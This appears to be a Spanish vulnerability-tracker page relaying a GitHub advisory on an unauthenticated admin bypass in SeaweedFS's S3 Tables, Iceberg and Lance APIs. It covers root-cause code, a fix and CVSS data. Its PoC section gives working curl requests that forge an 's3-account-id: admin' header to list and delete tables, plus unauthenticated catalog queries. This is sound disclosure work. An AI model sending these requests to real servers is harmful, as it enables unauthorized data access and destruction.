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Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-25HP-4MW7-9C75

Unauthenticated admin access to the S3 Tables, Iceberg and Lance APIs

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CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición11 dDesde la divulgación, 9 nov 2026, 2:51 p. m.
Detección10 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Si fuera un examen, esto vale media nota.Hoy no arde, pero ya hay humo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 nov 26
20 nov 26
21 nov 26
9 nov 26
12 nov 26
15 nov 26
18 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-25HP-4MW7-9C75 divulgada · CVSS 9.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

On an S3 gateway that enforces S3 authentication but was started without `-iam.config` (the default), the S3 Tables, Iceberg REST catalog and Lance namespace APIs let a request through after its authentication has already failed, and the unauthenticated caller can name itself `admin` with a plain request header. That grants full control of the table catalog, including deleting tables and their data, to anyone who can reach the port.

Details

Three composing defects, all present at HEAD.

1. An authorization default is used as an authentication fallback. `weed/s3api/s3api_tables.go:702-713`:

identity, errCode := s3a.iam.AuthSignatureOnly(r)
if errCode != s3err.ErrNone {
	// If IAM is enabled but DefaultAllow is true, we can proceed even if unauthenticated
	if s3a.iam.iamIntegration != nil && s3a.iam.iamIntegration.DefaultAllow() {
		glog.V(2).Infof("S3Tables: AuthSignatureOnly failed (%v), but DefaultAllow is true, proceeding", errCode)
	} else {
		s3err.WriteErrorResponse(w, r, errCode)
		return
	}
}

`iceberg.Server.Auth` (`weed/s3api/iceberg/server.go:250-270`) and `lance.Server.Auth` (`weed/s3api/lance/server.go:156-172`) have the identical shape, and both servers take the `S3ApiServer` as their authenticator (`weed/command/s3.go:563` and `:612`). Both listen by default: `-port.iceberg` 8181 and `-port.lance` 9101 (`weed/command/s3.go:100-101` and `:393-400`). The function already expresses "zero-config open" correctly one branch earlier, with `if !s3a.iam.isEnabled() { f(w, r); return }`, so this second bypass is only ever reached when authentication is enabled. The ordinary S3 data plane, which has no such fallback, returns 403 for the same request.

2. `DefaultAllow()` is true whenever no IAM config file is given. `weed/s3api/s3api_server.go:1189-1199` sets `DefaultEffect = EffectAllow` when `configPath == ""` (and `StoreType` was defaulted to `memory` two lines above). Nothing in that decision consults whether S3 authentication is enabled. The subsystem is initialised whenever `-iam` / `-s3.iam` is set, which defaults to `true` (`weed/command/s3.go:124`, `weed/command/server.go:189`), and loads whenever a signing key resolves from `jwt.filer_signing.key` or an SSE-S3 KEK (`s3api_server.go:1211-1228`).

3. The unauthenticated caller picks its own principal, and `admin` is an unconditional grant. `authenticateRequestInternal` scrubs `X-SeaweedFS-Principal` and `X-SeaweedFS-Session-Token` from client input (`weed/s3api/auth_credentials.go:1680-1681`) but not `s3-account-id`, and `AuthSignatureOnly` never reaches its `r.Header.Set(AmzAccountId, ...)` line on a failed authentication. `getAccountID` (`weed/s3api/s3tables/handler.go:229-290`) then falls through to:

if accountID := r.Header.Get(s3_constants.AmzAccountId); accountID != "" {
	if principal := normalizePrincipalID(accountID); principal != "" {
		return principal            // handler.go:284-288: no admin guard here
	}
}

and `CheckPermissionWithContext` (`weed/s3api/s3tables/permissions.go:99-102`) returns `true` for principal `"admin"` (`AccountAdminId`, `weed/s3api/s3_constants/s3_acp.go:5`) before the resource policy is parsed, so an explicit `Deny` on the table bucket does not stop it.

The 4.34 fix for GHSA-hgpf-8634-g44c / CVE-2026-55873 added exactly that admin guard, but only on the identity branch (`handler.go:268`, `principal != AccountAdminId || hasAdminAction(...)`), not on the header branch above. Even without the header, `defaultAllowFor` (`weed/s3api/s3tables/iam.go:54-66`) returns `true` for a request carrying no identity, so any unauthenticated caller is allowed on any table bucket that has no policy of its own. This report is scoped to the residue that fix left behind; it is not a restatement of that advisory, whose precondition was an authenticated low-privileged S3 user.

Suggested fix. Return the authentication error in all three wrappers when `iam.isEnabled()`; scrub `s3_constants.AmzAccountId` from inbound requests alongside the other two server-set headers; apply the existing `hasAdminAction` guard to the header branch of `getAccountID`; and stop letting `configPath == ""` imply `EffectAllow` once identities are configured.

PoC

Configuration. An S3 gateway that requires authentication and has no IAM config file: S3 identities configured (`weed s3 -s3.config=identities.json`, or credentials in the filer store) so anonymous S3 requests are rejected; no `-iam.config` / `-s3.iam.config`; `-iam` left at its default `true`; and a signing key available so the IAM manager loads, from `jwt.filer_signing.key` in `security.toml` or an initialised SSE-S3 KEK.

By hand, with no credentials at all:

# Enumerate every table bucket.
curl -sS 'http://s3.example.com/buckets' \
  -H 'Authorization: AWS4-HMAC-SHA256 Credential=AAAA/20260917/us-east-1/s3tables/aws4_request, SignedHeaders=host, Signature=00' \
  -H 's3-account-id: admin'

# Delete a table and its data, over the bucket's Deny-all policy.
curl -sS -X DELETE 'http://s3.example.com/tables/arn:aws:s3tables:us-east-1:000000000000:bucket/victim/ns/tbl' \
  -H 'Authorization: AWS4-HMAC-SHA256 Credential=AAAA/20260917/us-east-1/s3tables/aws4_request, SignedHeaders=host, Signature=00' \
  -H 's3-account-id: admin'

The `Authorization` header only has to contain `/s3tables/` in the credential scope for the route to match (`isS3TablesSignedRequest`, `weed/s3api/s3api_tables.go:661-668`); the signature is never verified on this path. The two catalog servers need no header at all on their own default ports: `curl -sS http://s3.example.com:8181/v1/namespaces` and `curl -sS http://s3.example.com:9101/v1/namespace/list`.

Scripted. Two self-contained Go tests build the IAM wiring `NewS3ApiServer` produces for the configuration above and drive the real `authenticateS3Tables`, the real `IdentityAccessManagement.Auth`, the real `iceberg.Server.Auth` and `lance.Server.Auth` (constructed exactly as `weed/command/s3.go` does), the real `getAccountID` / `defaultAllowFor`, and the real `CheckPermissionWithContext`. No production code is modified.

git checkout 66f17548966cedaedcc58b4afba72c39d81d7367
# copy the two test files into weed/s3api/ and weed/s3api/s3tables/, then:
go test -count=1 ./weed/s3api/ -run TestAresPoC_S3TablesAdmitsUnauthenticated -v
go test -count=1 ./weed/s3api/s3tables/ -run TestAresPoC_S3TablesPrincipalFromHeader -v

Observed at `66f17548966cedaedcc58b4afba72c39d81d7367` (v4.47 plus 5 commits):

=== RUN   TestAresPoC_S3TablesAdmitsUnauthenticated
     no -iam.config -> IAMManager DefaultAllow() = true
PASS  control: unauthenticated GET on the ordinary S3 data plane -> 403 (rejected)
PASS  control: an explicit policy config with DefaultEffect=Deny reports DefaultAllow() = false
FAIL  unauthenticated request reached the S3 Tables handler -> 200
FAIL  handler sees client-supplied s3-account-id = "admin" (never scrubbed, never overwritten)
FAIL  unauthenticated request reached the Iceberg REST catalog handler -> 200
FAIL  unauthenticated request reached the Lance namespace handler -> 200
    RESULT_S3API: VULNERABLE

=== RUN   TestAresPoC_S3TablesPrincipalFromHeader
     resolved principal      = "admin" (AccountAdminId = "admin")
     defaultAllowFor(request) = true
PASS  control: a Deny-all bucket policy refuses an ordinary spoofed principal
FAIL  DeleteTableBucket ALLOWED for a header-supplied "admin" principal, over a Deny-all bucket policy
FAIL  DeleteTableBucket ALLOWED for any unauthenticated caller when the bucket has no policy
    RESULT_S3TABLES: VULNERABLE

Controls: the same unauthenticated request put through the ordinary S3 data-plane wrapper on the same gateway object returns 403 and never reaches the handler, so the only difference is which wrapper the route uses; a policy engine initialised with `DefaultEffect: Deny` reports `DefaultAllow() == false`, which is the branch a supplied `-iam.config` takes; and the same Deny-all bucket policy does refuse an ordinary spoofed principal (`mallory`), so the allow for `admin` is the admin shortcut and not a broken evaluator. The full PoC bundle (driver script, test sources, recorded output, environment) is available on request.

Not reproduced at runtime. The final filer write (the table directory actually being removed) needs a running master, volume and filer cluster, which this local audit did not build. Everything up to and including the authorization decision is reproduced above.

Version range. Scoped to `>= 4.34` deliberately: 4.34 is the fix for GHSA-hgpf-8634-g44c, which covered the authenticated variant of this path. Verified against the tree, `git show 4.33:weed/s3api/s3tables/handler.go` has no `AccountAdminId` guard at all; `git show 4.34:...` has it at line 224 on the identity branch, while the `s3-account-id` header branch at line 240 is unguarded. Runtime reproduction was performed at the HEAD commit above; the 4.34 boundary rests on inspection of the tagged trees.

Impact

Missing authentication for a critical function, with the authorization decision then taken from a client-controlled request header. Any unauthenticated network peer that can reach the S3 port (or 8181 / 9101) drives the whole table control plane: `ListTableBuckets`, `GetTableBucket`, `CreateTableBucket`, `CreateNamespace`, `CreateTable`, `UpdateTable`, `RenameTable`, `DeleteTable`, the view equivalents, `Get/Put/DeleteTableBucketPolicy`, `Get/Put/DeleteTablePolicy`, tagging and maintenance, plus the full Iceberg REST and Lance catalogs. `DeleteTable` recursively removes the table's data directory (`weed/s3api/s3tables/handler_table.go:1021`), so this is unauthenticated data destruction, not only metadata disclosure. Claiming `admin` additionally overrides any explicit `Deny` written into a table bucket or table policy, so an operator who reacts by writing a deny-all policy is still not protected. Affects operators who enforce S3 authentication but have not supplied an explicit `-iam.config`.

Credits
  • Thai Son Dinh from VinSOC Labs (R&D)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≥ 4.34
4.34
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-25hp-4mw7-9c75

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.